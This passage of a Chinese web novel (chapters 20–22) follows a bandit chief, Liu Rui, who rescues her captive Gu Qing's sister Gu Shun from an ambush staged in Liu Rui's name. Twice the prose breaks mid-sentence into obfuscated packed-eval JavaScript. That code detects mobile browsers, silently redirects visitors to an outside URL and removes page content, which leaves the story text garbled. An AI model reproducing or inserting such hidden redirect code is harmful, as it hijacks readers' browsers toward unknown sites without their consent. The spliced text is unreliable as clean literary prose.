一个月后,正是柳锐和顾清所约定的三月之期的最后期限,包子的赌约似乎是老天冥冥之中的暗示,这是最后的机会。赢了,和他接着往下走,输了,从此再无瓜葛。 柳锐的眼里像有无数暗流涌动而过,最终郑重点头。 “可以,我跟你赌。” 20. 第二十章 并州,官府。 顾富这几日正为捉拿平城知府一事忙到焦头烂额,今晨刚死气沉沉地起床,却突然听到一个消息:平成知府被捉拿归案了,把她送来的不是别人,正是龙头寨! “柳锐她几个意思啊,又是囚禁小弟又是帮姐姐结案,这算什么,耀武扬威?讨好夫郎的姐姐?” 二姐顾顺气得口不择言,说的话叫顾富整张脸都扭曲一下,她迅速摆手:“快住口,净说混蛋话,什么夫郎,莫要侮辱小弟,这事…还是先审问知府吧,她既然是柳锐送来的,想必去过龙头寨,没准她就知道顾清的消息,毕竟咱们的内应已许久没传回消息来了。” 只是一见知府,二人都吓了一跳,这人平日里也是个养尊处优的官员,在柳锐那走一遭,一只胳膊从肩膀处被生生削下来,脸色也是一片青灰,看起来没少受折磨。 顾富故作镇定,指着她空空的袖子问:“你的胳膊怎么没了?” “…柳锐砍的。” 这很符合柳锐的风格了,落在她手里的人都没块好肉,顾富顾顺不禁又担忧起被她囚禁在侧的顾清,顾富一脸忧愁,而顾顺则是揣着一腔怒火:“她做甚要砍你的胳膊?” 知府心里一哆嗦,她可是骚扰顾清才被柳锐砍胳膊的,可这事能说么?说出来只怕另一只胳膊也保不住,于是她只能含糊道:“她向我要钱当保护费,我没钱了,她就砍我胳膊。” 说来也是柳锐倒霉,这种情况下送逃犯来,理应留下一封信解释清楚其中缘由,方便查案,只可惜负责此差事的包子和柳锐一样是文盲,她粗人一个,把人放下就走,也没想过老奸巨猾的知府会自己撒谎,死到临头还敢搬弄是非。 二人为柳锐的恶劣行为感到胆寒,可想而知,在她身边待着的人简直没一块好肉,顾富顿时想起自己可怜的弟弟顾清,愁得直皱眉,拉着顾顺吩咐:“薛良一案犯事的人员皆以捉拿归案,我尚在任中,不能离开,你借此领她们回去,将此案交由朝廷审理,同时在京中速速搬救兵来援助,助我二人救出小弟!” —— 柳锐再醒来时,已是躺在自己房中,她的鹰正停在窗上自己梳理羽毛,看见她醒,便顶着圆溜溜的大眼睛朝她咕咕叫两声,像是在问好。 屋外已是天光大亮,瞧着又是个艳阳天,柳锐昨夜喝的有点多,她揉了揉太阳穴,刚翻身,便感觉床上有什么东西在硌着后背,她摸索了两下,翻出被子里一只金镶玉手镯来,翠绿的光映射在眸中,让柳锐瞬间清醒过来,盯着那手镯沉默不语。 想起来了,她和包子的赌约。 这赌约归根结底是要让顾清在这一个月里喜欢上她,自愿戴上手镯以示二人身份,可这事情她努力了两个月,什么法子都试过,末了还是原地踏步,顾清跟块千年不化的冰块一样,半点没捂热。 “啧,还真难对付。” 柳锐低声骂了句,旋即被子一掀,懒洋洋地踩着鞋走出房间。 感情不顺遂,但日子总得过下去,柳锐一番洗漱完毕,拿着个馒头边吃边下楼,待她走至院中,才看见几个山匪围成一圈蹲在地上,背对着她,似乎在小声嘀嘀咕咕些什么。 “干什么呢,打猎可不是郊游,东西都备齐了?” 这几个山匪原先都是农民出身,力气虽有,但打劫却总逊色于旁人,柳锐不放心,亲自带着她们在森林里围猎猛兽,意在激发她们的野性,培养她们的胆识,这种训练每个月皆有一次,今日刚好又到了日子,她们照例在柳锐的小院子里等她。 “啊,大当家来了。” 几个人闻声赶忙站起来让出条道,柳锐垂头,这才看见地上躺着十几只死鸽子,浓重的血腥气让她不由蹙眉,眼光扫过众人:“哪来的?” “是寨外巡逻的姐妹们射下来的,说这些鸽子到处飞,她们觉得不对劲,就射下来几只,后来仔细检查,发现每只鸽子身上都帮着个小竹筒,里面藏着纸条。” 一沓子细小的纸条被递过来,柳锐的神色逐渐转向严肃,这种事从前也不是没有发生过,当时的龙头岭上还有别的寨子,她们与龙头寨交恶,便飞鸽传信下战书,那时柳锐还小,待她长大后,这还是第一次有人明目张胆地在她的地盘上挑衅。 她伸手接过,正对着阳光面无表情地看了会,半晌拍拍身旁一个山匪:“念一下。” “啊,哦哦,这纸条上写的是…初九,上骑都尉归京,其暗中收敛白银数万两,皆携于队伍中,途径龙头岭。” 柳锐的脸上划过一丝愣怔,竟然还不是宣战,而是一条情报? 这山匪读完,其余几人皆是面上皆是一片喜色:“初九,那不就是今日嘛,大当家,咱们是不是又有大活了?数万白银,完全不比那薛良差。” “是啊,大当家不是最喜欢这种贪官的嘛,钱财来路不明,被抢了也只能吃个暗亏,根本不敢声张。” 然而柳锐并没有因为这情报而感到开心,她盯着那来路不明的纸条,若有所思地问:“这个上骑都尉是谁,叫什么名字?” 众人顿时语塞,你看看我,我看看你,最后一齐摇摇头,柳锐顿时觉得好笑,轻嗤一声:“知己知彼,才好打仗,你们连要抢劫的人姓甚名谁都不晓得,打的哪门子劫?死劫?” 柳锐说的颇有道理,山匪们躁动的兴奋逐渐转为平静,一个个默不作声,脑子里不断搜寻着过往的记忆,看看能不能分析出这上骑都尉到底是谁。 然而正在她们沉默不语的时候,柳锐的身后传来答案:“上骑都尉,姓顾名顺,字光生,顾家次女,因早年在圣上身边伴读,护驾有功,两年前升为都尉,随军赴边陲平南蛮之乱,于国于百姓,她都是个好官,绝不会有暗中敛财的行为。” 这声音是顾清的,柳锐迅速回头,看见他正站在廊下盯着她,漂亮的眼眸里满是阴沉沉的雾霭:“最重要的是,她是我的二姐,你若伤她,我必以命相博,至死不休。” 姐姐? 柳锐微挑了下眉峰,刚才的严肃转化为饶有兴趣的笑容,面朝着他,嘴里的话却是讲给身后山匪听的:“他姐姐就是我姐姐,谁敢打劫我姐姐,就是和我过不去,这上骑都尉,连她半根毫毛都不许动,听见没?” 有她法令,这打劫肯定是没戏了,众人只好讪讪一笑,齐点头:“是。” 打劫不成,打猎还是要继续,大家纷纷回去牵马,只等稍后再与柳锐汇合,而柳锐在看到顾清的脸色有所缓和后,才回头从下人手里拿过软甲绑在肩上,穿到一半,她余光瞥见顾清仍站在原地,便出声道:“你放心好了,这情报来路不明,我能看出送消息的人不怀好意,就算顾顺不是你姐姐,我也不会去打劫。” 顾清独自垂眸,并没有接过她的话,柳锐这才意识到,他可能还有别的事,于是自己暗暗猜了会,忽然问他:“你是想家人了?” 这话叫顾清冷冷地看她一眼,旋即低声道:“为什么不想,我的姐姐们离京已有数载,若没有你的话,两个月前我便该和她们重逢。” 柳锐手上的动作霎时一顿。 她只有一个养母,因此倒没体会过思念家人的滋味,顾清一提,她才发觉自己对他的情绪一直有所忽视,这么一想,他的讨厌倒也是合情合理,要换做是谁叫她跟自己的养母见不上面,她对这人大约也会没什么好感。 如果让他见自己家人,疏解一下思念之苦,她跟他之间是否能更近一步?可是现在让他和家人见面,他肯定就要和自己姐姐跑的,这样柳锐可就不同意了… 思来想去,柳锐叹口气:“好吧。” 顾清的眼眸瞬间一亮,谁知下一刻柳锐便道:“不过只能在半山腰看,不许下山。” 她的话锋一转让顾清的眼神再度黯淡下来,他垂头,冷冷回答她:“知道了。” 有了清晨的这一小插曲,出门时,柳锐便带上了顾清,她特意选了处半山腰视野开阔的位置进行围猎,这里的动物种类丰富,适合山匪们从中选择能够应付的猎物,同时这地方又可以让顾清将山下的景色尽收眼底,可谓是两全其美。 “今日的围猎,两两一组,哪一组捕获的猎物最大最凶猛,我便会赏两根金条,日落时分,较量结束,所有人必须回到这里集合。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15347414|167401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>柳锐赏人,出手从来都是金条,众人眼前一亮,不多时便骑马出发,而柳锐自己是不需要伙伴的,她一声哨响,一路都盘旋在她上空的鹰如箭一般笔直地冲下来,“嗖!”地一声冲进灌木丛中,待它飞到柳锐面前时,它的喙里便已夹着一只又肥又壮的野兔,柳锐心情颇好地接过,往不远处一块空地走去。 “吃烤肉吗?” 顾清正抱膝坐在草地上,目光一刻都没有离开过山脚下空荡的山道,闻声语气淡淡:“我不喜油腻。” 柳锐顺势坐在他身侧的草地上,很不见怪地哦了一声,旋即吹出两下短促的哨声,她的鹰歪了下脑袋,随即展翅高飞,转眼间消失不见,柳锐便自顾自地掏出短刃处理兔肉,刚切到一半,她的鹰便从远处又飞了回来,略过两人头顶时嘴巴一张,抛下条活蹦乱跳的黑鱼“吧唧吧唧”在草地上闹腾。 “鱼肉清淡,这下你总能吃了吧,烤还是煮,你自己选。” 柳锐将鱼往他面前挪了挪,顾清虽然反感她多事,但还是忍不住眸子微动,看着那条鱼不说话,柳锐见他眼睫轻轻颤动的样子颇为好看,侧头托腮,扬唇一笑:“我驯鹰的技巧在寨中无人能比得过,怎样,确实很厉害吧?” 顾清并不想夸她,只道:“你的鹰不错,它叫什么名字。” 柳锐抬头看了眼仍在天上盘旋的鹰:“它没有名字,我没打算给它起名。” “那你对它也没有多好。” 听见顾清的话,柳锐一点不气,笑着道:“怎么会,它是我最好的朋友,伙伴,不过你知道吗,鹰的寿命极长,有几十年之久,你若叫它一辈子都为人驱使,于它是一种折磨,有良心的驯鹰人往往会在驯养数年后将它放归山野,我只是向山林短暂地借它几年而已,它不属于我,我没资格给它取名。” 这是顾清从未听过的东西,他难得移目,看向柳锐,而柳锐却有些沉浸在鹰的话题里:“鹰一生只认一个伴侣,它不会属于人,却是一生属于山林和它的伴侣,于空中难逢敌手,归巢有不离不弃的爱侣,我若可活得像它,也算不负此生。” 山野中的风徐徐吹过,顾清一直沉默着,但柳锐却觉得这气氛竟也挺好,她忍不住将一直藏在袖里的那只金镶玉手镯拿出来,看着顾清如玉般的侧颜,刚想再说些什么,却不料顾清先一步开口,他倒是没有讽刺些什么,语气里是少见的认真。 “你不需要承受长辈的期望,也不需要维护家族的名誉,自然可以这样随性洒脱的生活,我跟你不是同路人,我要延续顾家的荣光,嫁给和顾家一样的世家大族做夫郎,你如果真想有那样的伴侣,就该早点放我走,寻一个和你有相同期望的人,这对你我都好。” 又是拒绝她,但这次的拒绝比冷言冷语的效果更厉害些,柳锐拿手镯的动作立刻顿住,顾清侧眸瞥一眼她的手镯,直接坦白:“你的朋友跟我说过赌约的事了,把手镯拿回去吧,我不会接受的。” 靠,这个包子。柳锐心里暗骂一句,沉着脸收回手镯,安静一会才小声碎碎念:“荣光是给外人看的,日子是给自己过的…” 罢了,再说下去可就没意思了,柳锐悄悄侧头,目不转睛地看向顾清,手默默攥紧,却又徐徐松开,而顾清没有察觉到她的纠结,谈天结束后便再度回到方才的状态,一直望着那山道,不一会,他的眼中泛出无数细碎的光,轻声呢喃道:“二姐…” 看着数日以来如冰山一样的顾清也能有开心的一面,柳锐忽而在心中暗自叹了口气,顺势向山道上看去,只见一支两百余人的队伍出现在山道上,为首的女子大概就是顾顺,她身穿铠甲,样貌上还真与顾清有两分相似,见顾清看见她如此开心的模样,柳锐默默站起身,转头朝自己的马匹走去,边走边收好自己的手镯。 或许,她应该… “砰!” 一声□□炸开的声音突兀地响起,不断回荡在山谷间,柳锐心头一跳,迅速转头看向山道,只见山脚下不断有黑衣提刀的小卒朝顾顺的队伍奔去。 “龙头寨柳锐麾下壮士听命,劫下所有钱财,速取顾顺首级,杀光所有人,一个不留!” 21. 第二十一章 什么!? 柳锐很快反应过来,下意识看向顾清:“我没下过这种命令,这些人我都不认识。” 然而顾清却无暇理她,他变了脸色,错愕地站起身,紧紧盯着顾顺,一句话都说不出来。 那黑衣小卒的队伍如一条阴暗的银环蛇,游走着向他的姐姐冲去,顾顺被打了个猝不及防,但听见那名号,她眼中顿时冒出无数火星子,骑马挥刀冲上去。 “谁杀谁还不一定呢!” 两方人马这就开始了一场混战,林中惊鸟四起,士兵们如野兽般的嘶吼起来,可惜那黑衣小卒源源不断地涌上来,多达数百余人,是顾顺队伍的五倍,俨然就是场单方面的剿杀,顾顺不一会就节节败退,困于包围之中,数十人齐齐挥刀向她砍去,顾顺一个踉跄滚下马,淹没于人群之中! “二姐!” 情急之下,顾清出于本能朝前走了几步,似乎这样就能立刻走到顾顺那里,却不料脚下一个踏空,柳锐眼疾手快地上前环住他腰身,带着他后退摔回了草地上,厉声责备道:“你不要命了?” 顾清被摔得吃痛,但这一摔反而叫他恢复理智,他撑坐起身,强装镇定地攥住柳锐的手腕,像抓住救命的稻草,神情紧张:“这里是龙头岭,是你的地盘不是么,只要你率领山匪们来援助救下我姐姐,顾家会给予重赏,黄金白银什么都给得…” 然而这话却并未让柳锐满意,她眼底不起波澜,毫不留情提醒:“我有心赚这钱,你姐姐也要有命等,调度人马一来一回,少说也有半个时辰,我看你姐姐这个身手,至多一柱香的功夫,她就撑不住了。” 顾清眼里的光随着柳锐说出的话语而逐渐消失,他有些无力地开口,但柳锐未卜先知似的打断他:“至于我刚刚带出来的这几个,她们水平不够,就算加入混战,那也是送死。” 什么办法都行不通,顾清忽而觉得鼻子发酸,垂下眼眸不再看她,他这模样反而让柳锐觉得心里不舒坦,她踌躇着伸手,轻轻将他的下巴抬起来,顾清泛红的眼眶瞬时出现在她视野中,眼泪从他充满难过和悲伤的眼睛里滑落,令她呼吸一滞。 “凭什么这些倒霉事都要发生在我身上,我头一回离京去看姐姐就被抢走,成日里被威胁羞辱,现在终于可以见到姐姐,却要看着她置身于危险中又什么都做不了,我一向恪守礼节,从不出错,老天为什么惩罚我?” 他哽咽着质问出声,柳锐回答不上来,她格外不喜欢看他掉眼泪,只能动作僵硬地用指腹抹掉他眼泪,沉默片刻后转过身离去。 顾清明白,她是觉得事情太大,要自己溜了,遇事就跑是人之常情,可是面前这个人刚才还同他高谈阔论鹰和伴侣的不离不弃,同他说喜欢,现在这么快便要自己离开,未免是有些讽刺。 也罢了,本来就说过,不是同路人,他不肯从了她,她见无利可图,便撒手就走,这才是山匪柳锐。 于是顾清深吸一口气,收敛起自己的情绪,冷冷地抬手抹净自己脸上的泪迹,站在原地,没有跟上她。 “我不会和你回寨玩假扮夫郎的幼稚游戏了,我有更重要的事情去做,我必须等我姐姐,不论生死,我得带她回顾家,找出仇人报仇雪恨。” “你我之间这场闹剧,就此结束。” 他的话语冷漠疏离,柳锐回头深深看他一眼,眉峰一挑:“结不结束,也不是由你做主的,是由我。” “你…” 不待顾清把剩下的话说完,柳锐扭头勒紧缰绳,脚踢了踢马肚,马匹嘶鸣着扬蹄,载她飞奔出去,然而看到她离开的方向,顾清愣住,脸上的冷漠逐渐转为惊讶。 她竟然是往山下去的! 顾清连忙走到悬崖边,他看着柳锐如箭,一路直下冲进人群之中,心中升起一股难以言喻的情绪,睫毛颤动,不可置信地呢喃道:“她疯了…” —— 顾顺的怒吼声自人群中爆发出来,她在层层包围中像是只愤怒的老虎撕咬周遭的豺狼,但她每砍下一颗头,很快就有人补上,人海战术让她恶心,顾顺自己心里也清楚,纵使是老虎,在豺狼的群攻之下也只能哀嚎倒地,这只是时间问题罢了,以一敌百不过是话本里的故事,现实残忍如斯。 她气不打一出来,边挥刀边怒骂:“不是柳锐想要取我首级么,怎么不见她人,卑鄙,有本事当面与我宣战!” 话一说完,周遭一片骚动,顾顺通过自己血水模糊的眼睛看见不远处一个朦胧的影子坐在马上,一路疾驰而来,冲进人群中反手一挥,数颗人头落地,血肉横飞。 她赶紧抹了把眼前的血水,与此同时,包围她的小卒之间不断传来凄惨的哀嚎声。 “什么人!” 柳锐一刀割穿十余人的脖颈,冷笑着回答:“什么人?顶着你姑奶奶的名号出来杀人,却连脸都不认得?” 这引发了众人之间的一阵骚动:“糟糕,是柳锐,她一个人来的,先围攻她!” 情形顿时有所改变,顾顺眼见着无数人同蚂蚁一般向人群中骑马的女子奔去,然而围攻对柳锐不凑效,她将手中的缰绳一勒,趁着马前蹄悬空之时一刀落下,利落地下一场血雨腥风,随后放开缰绳,让马儿重重踏过这些人的尸骨冲破突围,轻而易举实现了反杀,有多少包围,她就踏碎多少尸骨。 顾顺认为,那是她看过的最精妙狠戾的刀法,此人刀刃所向,骨肉破碎分离,无一幸免,小卒在她面前犹如蝼蚁,再多都不堪一击。 龙头寨集结了多少凶神恶煞的恶徒,或手段阴毒或出手蛮横残忍,根本不是寻常习武之人能够见识到的,在这样的地方熬出头坐到首领的位置,柳锐就是一只披着人皮的厉鬼,若这世上有谁能做到以一人之身冲出重围,她绝对算一个。 “这竟然就是柳锐!” 打斗中的顾顺终于反应过来,她心里顿时大叫不妙,还以为柳锐真是迎战而来杀她的,可是刚觉得哪不对劲,身后便挂起一股阴风… 柳锐顿时瞳孔一缩,下意识朝她喊:“姐,小心!” 她在喊谁? 顾顺一懵,紧接着就被一刀猛地砍倒在地,柳锐皱眉轻啧了一声,不过饶是如此,她也没再恋战,砍尽面前阻碍,经过时侧身弯腰一手垂地,抓起她的衣袖拖起来就跑。 “柳锐她们跑了!” “跑哪去了!” “不知道,知道的人全都被她砍死了!” —— “她身上有十余处刀伤,属背后这道最重,不过好在都没有伤到要害,待我开一药方,一日三次地煎药叫她喝下去,她很快便能痊愈。” 听到郎中这般交代,顾清看一眼躺在床上面色惨白的顾顺,这才放下心来,缓缓舒口气。 此时已将至黄昏,夕阳西下,树林里的虫鸣声又响起来,柳锐站在院里的井边发着呆打水,听到开门的声音,才转过头去,看见是顾清走出来,出声问他:“如何?” 顾清一出来就看见柳锐,忽而就有些不知道该如何面对她,眼神躲闪了片刻,才点点头。 “伤得不算重,养些日子就能好。” “那就行,这段日子她可以住在这,等伤好了再下山就行。” 见他不怎么看她,柳锐也不多搭话,自顾自地把水打上来,但顾清不一会还是走到井边,借了点水,犹豫会低着头轻声说:“今天的事,谢谢你。” 柳锐瞄他一眼,不轻不重地嗯了一声,算是应下了这句谢,但是顾清像是想起什么,道谢完没立即走,眼睫颤动,继续道:“我那个时候,情绪不是很好,说话语气重了些,你不必往心里去。” 他说什么了?柳锐一顿,回忆了下,他指的大概是那些什么假扮她夫郎很幼稚,要和她就此结束的话,想到这里,她有些意外地挑了挑眉:“难得态度这么好的跟我说话,那些话不痛不痒的,你不提,我都要忘了。” 顾清莫名觉得如释重负,柳锐这时候又忽然开口:“不过…” “不过什么?”顾清抬头看向她。 柳锐若有所思地望向挂在山头的小半截落日,徐徐道:“不过你平常对什么都是毫无兴趣冷冷清清,我还以为你从来都是如此,可今日见你姐姐,你先是开心,又是焦急难过到流泪,情绪那样丰富浓烈,我才知道,原来你对自己在意的人,是完全不一样的,那模样让我觉得很新奇。” 老实说,看他那时候又是慌张失神,又是难过落泪的,她还有点羡慕顾顺这个姐姐来着,不过这些话她只能藏在心里想想,说出来的话,就太没面子了。 顾清有些疑惑地眨了眨眼,没有懂她想要表达什么,柳锐也不多解释,留下一句:“你今天也早点休息吧。”便拎着水桶转身离开。 “吱呀——” 房门再度被打开,郎中终于写好药单,正提着自己的药箱走出来,顾清赶紧过去接住那张纸,略扫一眼后颔首道:“多谢。” “客气客气,对了,大当家在屋里吧。” “她刚进屋,你找她有事么?” “哦,是这样的。”郎中笑了下:“刚刚她来找过我,说她那的金疮药快没了,要我给她送一些过去,我刚命底下人拿来了,正寻思着交给她呢。” 顾清蹙了下眉,回忆着一路跟没事人一样似的柳锐,问道:“她受伤了?” 他一反问,郎中也有些不确定了,因为柳锐没给她看过伤口,她只好迟疑着点了下头:“额,大概是的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15360632|167401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳锐点了灯,烧好一壶水,方才走到屏风后,把外头穿的软甲脱下来,这一脱下来,她才忍不住轻轻嘶了一声,她身上有不少地方渗出血迹,伤口密密麻麻,活脱脱像是千刀万剐没剐成,刀片只匆匆在她身上过了一下,划一道印记。 作为一个依靠打打杀杀吃饭的人来说,受伤简直是家常便饭,她也不磨蹭,解开衣服,用热水将血水全都洗掉,再把盒中剩下的一点药抹在伤口最深的几处,待收拾完一切,她换上件干净的衣裳,这才坐下,给自己倒一盏热茶,边喝边思考今日发生的事情。 从早上的飞鸽传信,到那帮人借柳锐的名头打劫顾顺,一切的一切都在指向一件事:顾家和她柳锐都被搞了,此事背后之人要么是柳锐的敌人,想杀了顾顺陷害柳锐,让她和龙头寨成为众矢之的,要么就是顾家的敌人,因看顾家不顺眼而想杀了顾顺,找她柳锐当倒霉的替罪羊。 当然了,也有最可怕的一种,此人一石二鸟,设下此计谋,就是奔着同时达成这两个目的去的,好在顾顺还活着,此人的计谋不会得逞。 但,这个人会是谁呢,会和她们寨中的内应有关系么。 “噔噔。” 突然的叩门声让柳锐回神,她起身去开门,抬眼便见是顾清站在门口,柳锐愣了下:“找我有事?” 顾清神色复杂地看向她,伸手递过来一个小瓷瓶:“郎中要给你的,你今天受伤了,对吧。” 柳锐不可置否,接过瓷瓶含糊回答:“小伤而已。” 平常她怎么受伤,顾清都懒得多管,但是今日她这伤是为了他姐姐受的,她救他姐姐,这恩情他不想欠,顾清沉默片刻,终于主动问她:“需要我帮你敷药么。” 不需要…等等,需要。 柳锐眼前一亮,像只得逞的小狐狸,侧身迎他进来:“那再好不过了。” 为了方便顾清看清楚,柳锐将烛灯挪至了桌前,随后撩开袖子,把几处较浅的伤口露出来给他看:“就这几道,劳烦你了。” 顾清看了几眼她泛着血色的伤口,咬着唇没说话,倒出瓷瓶里的药膏,慢慢地抹在了伤处,昏黄的烛光落在他脸颊上,像是淡色的影子,他垂眸时,纤长的睫毛宛若鸦羽,浅色似琉璃的眸子目光专注,那画面恬静而美好,让柳锐觉得颇为享受,她眯着眼端详了他一会,忽然又道: “说真的,你要不再考虑考虑手镯的事吧。” 顾清顿了下,随后告诉她:“不要胡思乱想,我帮你敷药,是因为你救了我姐姐,绝不是因为我们的关系有向前的余地,我还是那句话,你我不同路。” “什么不同路…”柳锐懒洋洋地抱怨一句:“我真搞不懂,成婚不就是要看喜欢不喜欢么,你家怎么偏偏还爱搞那么复杂,要嫁给门当户对的人是吧,那无非就是有钱有权,说到钱,我也有的是钱,别说是保你锦衣玉食,就是在这山上再给你盖一座宅邸专养你一人都没问题,若论起权,我虽不能当官,但我可以让所有官都对我忌惮三分,你跟着我,她们都会怕你,没谁敢把你怎么样。” “而且,最重要的是。” 柳锐突然凑近他,让顾清慌了一下,整个人不自觉往后倾,柳锐粲然一笑,眼眸里有光彩流转:“最重要的是,我能为你拼命,那些所谓的高官贵族能做到么,我可以为了你以一敌百,她们能做到么?” 顾清的心跳快了一拍,看着她迟迟未能说话,良久后又恢复如常,低下头将最后一处伤口擦完。 “我不需要别人为我拼命,我家的一切都由我母亲做主,她不可能接受一个山匪做我妻主,你死了这条心吧。” “顾小公子,日子是你自己的,想怎么过全看你自己,再说了,你不是反抗我反抗得挺厉害么,怎么碰上你母亲就这么乖巧了?” 顾清将瓷瓶“砰”一声掷在桌上,眉眼间看着隐约有些生气:“够了,早知如此,我刚刚就不该上来给你涂药,也省得听你胡说八道,你是你,母亲是母亲,为你反抗母亲,我是疯了不成?” 他又看向柳锐:“看你这么想娶夫,不如让我们顾家为你选几个,让你自己挑,左右你救了我姐姐,就算是还你的恩情了,我也不喜欢欠别人的。” “…出去,再说我就要生气了。” 柳锐托腮移开目光,不再看他,顾清便也毫不犹豫站起身,直接推门而出,谁知刚出来就猛地撞见一个人,让他陡然面色一变,倒退两步,听见背后的声音不对劲,柳锐便也好奇地转过身,只见顾顺不知何时醒了,正穿着身长长的的白色衣衫幽幽站在门口,见柳锐回头看她,她瞬间表情扭曲起来,一步撞进去。 “今日终于逮到你了!天杀的柳锐,就是你抢我弟弟!我要跟你拼了!” 22. 第二十二章 眼瞧着顾顺风风火火地闯进来,顾清反应及时,下意识伸手拉住了她:“姐姐,先别闹…” 怎料顾顺尚在气头上,一下子用力甩开,喝道:“别拦我!我今日一定要揍这色胆包天的家伙!” 顾清差点没站稳,蹙眉踉跄几步,看他如此吃力,柳锐索性站起身迎上顾顺的招式,房里的圆桌瞬间便被掀翻,尤其是桌上的烛灯倒地,火舌腾地窜起,大有攀上什么便烧什么的架势,顾清变了脸色,然而桌上的茶盏水壶早就悉数摔碎,见再这样下去难以收场,顾清严肃起来:“够了,都停手!” “她可是欺负你的歹徒!不分出胜负来决不罢休!” 顾顺大喊,柳锐则顺着她的话附和:“对对对,分胜负,赢了你们走,输了把你弟弟赔给我。” 顾顺眼睛顿时瞪大:“无耻之徒!” “这就无耻了?敢打架就要有得失,刚好我还没和你弟弟有妻夫之实呢,你今天一输,明天我就和你弟弟洞房。” “你不要脸!” “还有更不要脸的,我日后该怎么叫你,姐姐,还是二姑姐?” “啊啊啊!” 顾顺终于被柳锐气得方寸大乱,招式乱作一团,柳锐紧抓时机,一个旋身到她背后,一掌利落劈下,只见刚火冒三丈的顾顺整个人一僵,身子一软倒在地上,柳锐两三下拿麻绳把她捆起来,才松口气拍拍手:“搞定了,我先绑住你姐,让她不要乱动…” 她边说边转头,看到顾清一脸复杂地看着她,柳锐话语一停,问他:“怎么了?” 顾清转头避开她视线,恢复了往日里冷清的模样:“下次别当着我姐姐的面耍流氓。” “不那么说,怎么制服她?不过她要是真输给了我的话…”柳锐话还没说完,顾清回头给她一记眼刀,她这才没忍住,噗哧笑出声:“开玩笑的,你先去准备你姐姐喝的药吧,我来看她,等她醒过来,我还有事问她。” 柳锐的这一掌不轻不重,力度刚好,顾顺昏睡了一刻钟,等再恢复意识时,便闻得一股茶香。 “醒了?” 听得这一句话,顾顺皱着眉睁开眼,只见满地狼藉已被收拾妥当,柳锐正坐在她对面沏茶,还顺手推给她一杯,不过推到一半却突然停下:“忘了你还被捆着,没办法喝茶,算了,茶先不喝了,我们好好聊聊吧。” “哼,我跟你这强盗有什么好聊的。” 顾顺虽气,但已经冷静下来不少,只是心里还惦记着刚才的事,表情古怪:“你若是想聊娶我弟弟的事,那除非我死了,否则是不可能的。” 柳锐忍不住轻啧一声:“谁管你死不死的,我是要问你,今日有人假借我名杀你这事,你有没有头绪。” 顾顺面上的神色一变,她不太信任柳锐,语气中充满怀疑:“说起来,你为何刚巧就在我遇险时出现把我救下?” “早有人飞鸽传信,告知了我们你会经过,事发的时候,我和顾清就在半山腰看着。” 听见此言,顾顺的面色便越发严肃难看,沉默良久坦白了一部分真相:“我此行,押着两个犯人——薛良和陈易品,我奉我长姐的命令,送她们回京接受朝廷审判。” 这是回京的其中一个目的,另一个,不可告诉柳锐。 陈易品便是平城知府的名字,听到这二人性命,柳锐恍然大悟:“是贩盐那桩案子?” 只确认这一件事,便叫柳锐完全想通了,她嗤笑一声:“如果我没猜错的话,她们应该还有同伙。” 顾顺面色凝重:“我姐姐查出她们背后还有帮手,只是二人不肯招供,一定要回京面见圣上才肯说,却不想半路竟…这二人现在在哪?” “你问我,我怎么知道。”柳锐两手一摊:“今日混战凶险,只怕这两人已经被砍成肉泥给灭口了。” 说到此处,柳锐颇觉可惜,贩盐是桩大案子,顾家长姐顾富作为此案的揭发以及审理人,定会在结案后得到奖赏,但倘若犯人没了,此案砸在她手里,她必会受惩,连带着押送犯人的顾顺也一定会遭到影响。 顾家代代为官,顾家二女的仕途来日也必会璀璨,丝毫不逊色于顾太师,但倘若受此案牵连,虽因是权贵出身,没有性命之忧,但三五年内,两人都再无升迁的可能,还会使太师蒙羞。 “不!”顾顺突然开口:“如果真是冲着薛良她们去的,那这两人肯定不会死,她们还有用,长姐审问过,她们还私自藏了一大批盐,这批盐可带来几十万两白银的盈利,她们的同伙也必定是为此事而来,这些人不是来杀她们的,而是带她们逃跑的。” 此事竟然还有转机,柳锐挑了下眉:“这附近的城池,唯有并州和平城,她们俩是朝廷要犯,不敢随意进城,多半会在城外藏匿,需要我出手相助么?” 出乎意料,顾顺看她一眼,冷冷道:“不必,这是我顾家事,与你无关,再者,跟你搭上关系,就是官匪勾结,我和姐姐还要做官,阿清也还要嫁给好人家,我们担不起这个罪责。” 柳锐听懂了顾顺的意思,眼中闪过一丝寒光,旋即恢复如常,轻声笑了笑:“成。” 因着还要去寻薛良二人,顾顺说什么也不肯待在山寨里养伤,翌日清晨就要动身离开,柳锐原本担心顾顺会嚷嚷着要带走顾清,谁料她却是淡淡道:“我现在不方便带走阿清,这附近唯一一处可供人藏匿歇脚的,是十里外的小村庄,我若想追上,就得马不停蹄地去搜查和逮捕,他吃不消这舟车劳顿,我还是自己离开比较好。” 顾清有些遗憾和失落,却并不反驳自己的姐姐,柳锐将他的情绪看在眼里,便提出让顾清送顾顺到山脚下——在她的亲自陪伴下。 就这样,三人便踏上了下山的山道,山中下了点小雨,行走时稍有泥泞,走到半山腰,顾顺便出言阻止:“我要骑马赶路了,送到这即可。” 话毕,她从衣服里掏出一张薄纸递给柳锐:“这张银票里存了五千两白银,你派人去钱庄取出即可,算作是你救我命的报酬,我们家便不欠你什么。” 五千两可不是小数目,一张银票能存的最大数额,也就是五千两白银 